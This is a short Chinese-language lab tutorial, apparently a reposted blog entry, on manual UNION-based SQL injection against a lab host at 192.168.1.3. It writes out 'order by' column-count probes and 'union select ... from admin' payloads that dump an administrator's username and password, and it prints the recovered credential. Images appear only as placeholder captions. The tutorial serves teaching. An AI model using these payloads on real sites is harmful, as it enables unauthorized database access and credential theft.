1. 程式人生 > >SQL注入原理--手工聯合查詢注入技術

SQL注入原理--手工聯合查詢注入技術

                     

**

實驗目的:理解聯合查詢原理、學習聯合查詢過程

**實驗原理: 1、連結後面新增【order by 11(數字任意)】根據頁面返回結果,來判斷站點中的欄位數目

2、在連結後面新增語句【union select 1,2,3,4,5,6,7,8,9,10,11 from admin(表名)】進行聯合查詢,來暴露可查詢的欄位編號 3、根據上一步得到的欄位編號,查詢語句【union select 1,admin,password,4,5,6,7,8,9,10,11 from admin】直接暴露管理員使用者名稱和密碼 實驗環境: 本機:192.168.1.2 目標機:192.168.1.3

一、檢測欄位長度

這裡寫圖片描述

2、同樣新增【order by 12】頁面報錯,所以此站欄位長度為11 這裡寫圖片描述

二、暴露管理員使用者、密碼

1、在連結後面新增語句【union select 1,2,3,4,5,6,7,8,9,10,11 from admin】,頁面顯示數字為2和3 這裡寫圖片描述 2、在連結後面新增語句【union select 1,admin,password,4,5,6,7,8,9,10,11 from admin】即可暴露管理員使用者名稱和密碼 這裡寫圖片描述 3、到此,即可知道管理員使用者名稱:admin和密碼:bfpms